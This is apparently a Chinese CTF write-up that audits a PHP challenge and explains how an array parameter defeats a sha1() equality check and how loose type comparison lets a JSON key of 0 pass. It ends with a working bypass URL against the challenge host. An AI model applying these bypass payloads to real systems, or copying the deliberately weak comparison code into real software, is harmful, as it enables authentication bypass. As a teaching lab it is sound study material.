前端攻城狮跑路了,不过PHP是最好的语言 ??
还是直接审计代码吧
<?php
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)) {
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){
$message = json_decode($_GET['key']);
if ($message->key==$key) {
echo $flag;
}
else die('还差一点就拿到flag了');
}
?>
定义了a,b,首先需要比较get到的a,b的sha1()散列加密,若值和类型都相等,则$good = true,这里可以使用数组绕过,对于类似sha1(),md5()等加密函数,当检测到值为数组时,都会处理为null;
第二个if语句中又检查是否get有key,isset()函数检查是否设置有需要的参数,然后再将key值json_decode()解码,判断key变量中key键的值是否和key变量的值一样 。
PHP json_decode() 函数用于对 JSON 格式的字符串进行解码,并转换为 PHP 变量。
由于php属于弱类型语言,所以数字和字符串在进行比较时,字符串会转成数字,如果字符串的第一位不是数字,则字符串被转成0。
因此 payload:
https://1031-56beef32-b743-4f08-866d-f3b60acf0c49.do-not-trust.hacking.run/?a[]=1&b[]=1&key={"key":0}
这就是世界上最好的语言??以后改学php吧还是 呜呼
更多推荐
php是世界上最好的语言 ctf+代码审计+加密函数绕过
发布评论